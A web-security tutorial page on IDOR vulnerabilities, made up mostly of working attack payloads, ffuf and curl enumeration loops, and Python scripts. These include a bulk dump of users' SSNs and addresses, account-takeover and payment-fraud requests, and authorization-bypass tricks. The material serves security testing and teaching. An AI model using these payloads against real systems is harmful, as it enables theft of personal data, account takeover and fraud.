Skip to main content

Insecure Direct Object Reference (IDOR)

Insecure Direct Object Reference (IDOR) is a web security vulnerability that occurs when an application exposes a direct reference to an internal implementation object, such as a database key or filename. Attackers can manipulate these references to access unauthorized data.

How It Works​

IDOR vulnerabilities arise when an application uses user-supplied input to access objects directly without proper authorization checks. For example, consider this URL:

https://bank.com/account?id=12345

If the application doesn't verify that the logged-in user owns account 12345, an attacker could simply change the ID:

https://bank.com/account?id=12346

This could expose another user's account information if authorization checks are missing.

Manual Testing​

URL Parameter Tests​

Testing for IDOR in URL parameters by manipulating identifiers:

# Step 1: Identify direct object references
https://site.com/user/profile?id=123
https://site.com/api/document?doc_id=456
https://site.com/order/view?order=789

# Step 2: Change ID to another value
https://site.com/user/profile?id=124 # Increment by 1
https://site.com/api/document?doc_id=1 # Try minimal value
https://site.com/order/view?order=100 # Try different ranges

# Step 3: Observe response
# - Same access level: Vulnerable to IDOR
# - Different access: Check if sensitive data exposed
# - Error message: Authorization might be in place
# - 403/401: Proper access control exists

POST Body Tests​

Testing IDOR in request bodies:

# Original request
POST /api/update-profile
{
"user_id": 123,
"email": "user@example.com"
}

# Modified request - Try changing user_id
POST /api/update-profile
{
"user_id": 124,
"email": "attacker@example.com"
}

# Array-based references
POST /api/delete-users
{
"ids": [123]
}

# Try adding other IDs
POST /api/delete-users
{
"ids": [123, 124, 125]
}

HTTP Header Tests​

Testing for IDOR in HTTP headers:

# User-ID in custom headers
GET /api/profile HTTP/1.1
X-User-ID: 123
X-Account-ID: 456

# Try modifying header values
GET /api/profile HTTP/1.1
X-User-ID: 124
X-Account-ID: 457

# Authorization tokens with embedded IDs
Authorization: Bearer eyJ1c2VyX2lkIjoxMjN9...
# Decode, modify user_id, re-encode

Testing IDOR through cookie manipulation:

# Original cookie
Cookie: user_id=123; session=abc123

# Modified cookie
Cookie: user_id=124; session=abc123

# Base64 encoded cookies
Cookie: user_data=eyJ1c2VyX2lkIjoxMjN9
# Decode: {"user_id":123}
# Modify to: {"user_id":124}
# Encode and test

File Access Tests​

Testing for IDOR in file operations:

# Document downloads
https://site.com/download?file=document_123.pdf
https://site.com/download?file=document_124.pdf

# Image access
https://site.com/images/user/123/avatar.jpg
https://site.com/images/user/124/avatar.jpg

# Backup files
https://site.com/backups/user_123_backup.zip
https://site.com/backups/user_124_backup.zip

API Endpoint Tests​

Systematically testing API endpoints for IDOR:

# RESTful API patterns
GET /api/users/123 # Get user details
PUT /api/users/124 # Update different user
DELETE /api/users/125 # Delete different user

# Nested resources
GET /api/companies/1/employees/123 # Access employee
GET /api/companies/2/employees/123 # Try different company

# GraphQL queries
query {
user(id: 123) { email, phone, ssn }
# Try: user(id: 124)
}

Automated Discovery​

Using Burp Suite​

# Step 1: Configure Burp Suite Intruder
1. Capture request with ID parameter
2. Send to Intruder (Ctrl+I)
3. Mark ID parameter as payload position: §123§

# Step 2: Configure payload
- Payload type: Numbers (sequential)
- From: 1, To: 10000, Step: 1

# Step 3: Set matching rules
- Grep Match: Look for sensitive keywords
- Filter by status codes
- Sort by response length

# Step 4: Analyze results
- Different response sizes indicate different data
- Same status codes might still contain different data
- Check response times for delays

Using FFUF​

# Basic IDOR fuzzing with ffuf
ffuf -u https://target.com/api/user/FUZZ -w numbers.txt -mc 200

# Custom wordlist generation
seq 1 10000 > ids.txt
ffuf -u https://target.com/api/user/FUZZ -w ids.txt

# With authentication
ffuf -u https://target.com/api/user/FUZZ \
-w ids.txt \
-H "Authorization: Bearer TOKEN" \
-mc 200,301,302 \
-fs 0

# POST request fuzzing
ffuf -u https://target.com/api/user \
-w ids.txt \
-X POST \
-d '{"user_id":"FUZZ"}' \
-H "Content-Type: application/json"

Using Custom Scripts​

# Python script for IDOR testing
import requests

base_url = "https://target.com/api/user/"
headers = {"Authorization": "Bearer YOUR_TOKEN"}
valid_responses = []

for user_id in range(1, 1000):
url = base_url + str(user_id)
response = requests.get(url, headers=headers)

if response.status_code == 200:
# Check if response contains sensitive data
if "email" in response.text or "phone" in response.text:
valid_responses.append({
"id": user_id,
"status": response.status_code,
"length": len(response.text),
"data": response.json()
})
print(f"[+] Found: User ID {user_id}")

# Save results
with open("idor_results.json", "w") as f:
json.dump(valid_responses, f, indent=2)

Attack Vectors

Numeric ID Manipulation​

Exploiting sequential numeric identifiers:

# Basic increment/decrement
Original: /api/invoice/1234
Test: /api/invoice/1235
Test: /api/invoice/1233

# Range testing
for id in {1..1000}; do
curl https://api.target.com/user/$id -H "Auth: token"
done

# Step-based testing
# Some systems skip IDs (e.g., 100, 200, 300)
for id in {100..10000..100}; do
curl https://api.target.com/order/$id
done

GUID/UUID Manipulation​

Attacking seemingly random identifiers:

# UUID enumeration (if leaked elsewhere)
# UUIDs might be leaked in:
# - JavaScript files
# - API responses for other users
# - Public profiles
# - Email notifications

# Example leaked UUIDs
curl https://api.target.com/user/550e8400-e29b-41d4-a716-446655440000
curl https://api.target.com/user/550e8400-e29b-41d4-a716-446655440001

# Predictable UUID generation
# Some UUIDs are time-based (UUID v1)
# These can be predicted if you know the timestamp

Hash-Based ID Bypass​

Exploiting weak hashing or encoding:

# MD5 hashed IDs
# If ID is MD5(user_id), you can generate your own
echo -n "123" | md5sum # 202cb962ac59075b964b07152d234b70
# Test: /api/user/202cb962ac59075b964b07152d234b70

# Base64 encoded IDs
echo "123" | base64 # MTIzCg==
echo "124" | base64 # MTI0Cg==
# Test: /api/user/MTI0Cg==

# URL-safe Base64
echo -n "user:123" | base64 # dXNlcjoxMjM=
echo -n "user:124" | base64 # dXNlcjoxMjQ=

Parameter Pollution​

Using multiple parameters with the same name:

# Standard request
GET /api/profile?user_id=123

# Parameter pollution attempts
GET /api/profile?user_id=123&user_id=124
GET /api/profile?user_id=124&user_id=123
GET /api/profile?user_id[]=123&user_id[]=124

# JSON parameter pollution
POST /api/update
{
"user_id": 123,
"user_id": 124,
"email": "attacker@evil.com"
}

Mass Assignment

Exploiting missing input validation:

# Original intended request
POST /api/update-profile
{
"name": "John Doe",
"email": "john@example.com"
}

# Adding unauthorized fields
POST /api/update-profile
{
"name": "John Doe",
"email": "john@example.com",
"user_id": 124, # Try to modify another user
"role": "admin", # Try privilege escalation
"is_verified": true, # Try to bypass verification
"balance": 999999 # Try to modify sensitive data
}

Blind IDOR Exploitation​

Exploiting IDOR when direct feedback isn't available:

# Delete operations
DELETE /api/user/123 # Your account - check if deleted
DELETE /api/user/124 # Other account - no direct feedback

# Time-based detection
# If operation takes longer, it might be processing
time curl -X DELETE https://api.target.com/user/124

# Out-of-band detection
DELETE /api/user/124
# Check:
# - Email notifications sent to victim
# - Webhook callbacks
# - Database logs (if you gain access later)

# State change verification
POST /api/friend-request?to_user=124
# Check victim's profile or friend list if accessible

Post-Exploitation

Data Enumeration​

Systematically extracting data:

# Extract all user data
import requests
import json

base_url = "https://target.com/api/user/"
headers = {"Authorization": "Bearer TOKEN"}
users_data = []

for user_id in range(1, 10000):
try:
response = requests.get(
f"{base_url}{user_id}",
headers=headers,
timeout=5
)

if response.status_code == 200:
user_data = response.json()
users_data.append(user_data)

# Extract sensitive fields
sensitive_info = {
"id": user_id,
"email": user_data.get("email"),
"phone": user_data.get("phone"),
"ssn": user_data.get("ssn"),
"address": user_data.get("address")
}
print(f"[+] User {user_id}: {sensitive_info}")

except Exception as e:
continue

# Save complete dump
with open("user_dump.json", "w") as f:
json.dump(users_data, f, indent=2)

Privilege Escalation​

Exploiting IDOR for privilege escalation:

# Accessing admin functionality
GET /api/admin/users/123
GET /api/admin/settings

# Modifying user roles
PUT /api/user/124
{
"role": "admin",
"permissions": ["read", "write", "delete"]
}

# Accessing restricted resources
GET /api/company/1/financial-reports
GET /api/system/config

Account Takeover​

Using IDOR to take over accounts:

# Password reset via IDOR
POST /api/reset-password
{
"user_id": 124,
"new_password": "attacker_password"
}

# Email change via IDOR
PUT /api/user/124/email
{
"new_email": "attacker@evil.com"
}

# Adding authentication method
POST /api/user/124/add-phone
{
"phone": "+1234567890"
}

Financial Fraud​

Exploiting IDOR in financial operations:

# Modifying transaction amounts
PUT /api/transaction/123
{
"amount": 0.01,
"status": "completed"
}

# Accessing other users' payment methods
GET /api/user/124/payment-methods
POST /api/payment/charge
{
"user_id": 124,
"payment_method_id": "pm_abc123",
"amount": 100
}

# Refund manipulation
POST /api/refund
{
"transaction_id": 124,
"account_id": 999 # Attacker's account
}

Bypass Techniques

Weak Authorization Bypass​

Bypassing insufficient authorization checks:

# Role-based bypass
# If authorization only checks role, not ownership
GET /api/admin/user/123 # Blocked
GET /api/user/123 # Check if accessible with user role

# HTTP Method bypass
GET /api/user/123 # Blocked
POST /api/user/123 # Try different method
HEAD /api/user/123 # Try HEAD request

Path Traversal Bypass​

Using path manipulation to bypass checks:

# Directory traversal
GET /api/user/123
GET /api/user/../user/124
GET /api/user/./124

# Encoding bypass
GET /api/user/%2e%2e%2fuser%2f124
GET /api/user/..%2fuser%2f124

# Null byte injection (older systems)
GET /api/user/123%00/../../user/124

Content-Type Bypass​

Changing content type to bypass validation:

# Original JSON request (blocked)
POST /api/update-profile
Content-Type: application/json
{"user_id": 124}

# Try XML
POST /api/update-profile
Content-Type: application/xml
<user>
<user_id>124</user_id>
</user>

# Try form data
POST /api/update-profile
Content-Type: application/x-www-form-urlencoded
user_id=124

Array Wrapping​

Wrapping parameters in arrays:

# Blocked
{
"user_id": 124
}

# Try array wrapping
{
"user_id": [124]
}

# Try nested object
{
"user": {
"id": 124
}
}

# Try multiple values
{
"user_id": [123, 124]
}

Token Confusion​

Exploiting token handling issues:

# Using expired tokens
# Some systems validate token but ignore expiry

# Using tokens from different endpoints
# Token from /api/v1/user might work on /api/v2/user

# Missing token validation
# Some endpoints might not validate token at all
curl https://api.target.com/user/124
# Try without Authorization header

# JWT algorithm confusion
# Change alg from RS256 to HS256
# Change alg to "none"

Wildcard Exploitation

Using wildcards in ID parameters:

# Wildcard in IDs
GET /api/user/*
GET /api/user/%
GET /api/user/_

# Regex exploitation
GET /api/user/.*
GET /api/user/[0-9]+

# Range specification
GET /api/users?ids=1-100
GET /api/users?ids=*

Common Tools for IDOR Testing​

The following tools are widely used during IDOR (Insecure Direct Object Reference) security testing, authorization testing, and API security assessments to identify broken access control vulnerabilities.

ToolDescriptionPrimary Use Case
Burp SuiteIndustry-standard web application security testing platformIDOR discovery, request manipulation, and exploitation
FFUFFast web fuzzerResource and ID enumeration to identify accessible objects
AutorizeBurp Suite extensionAutomated authorization testing between user roles
AuthMatrixBurp Suite extensionAccess control and privilege testing across multiple users
InQLBurp Suite extension for GraphQL security testingIdentifying IDOR and authorization flaws in GraphQL APIs
PostmanAPI development and testing platformManual API testing, request replay, and IDOR verification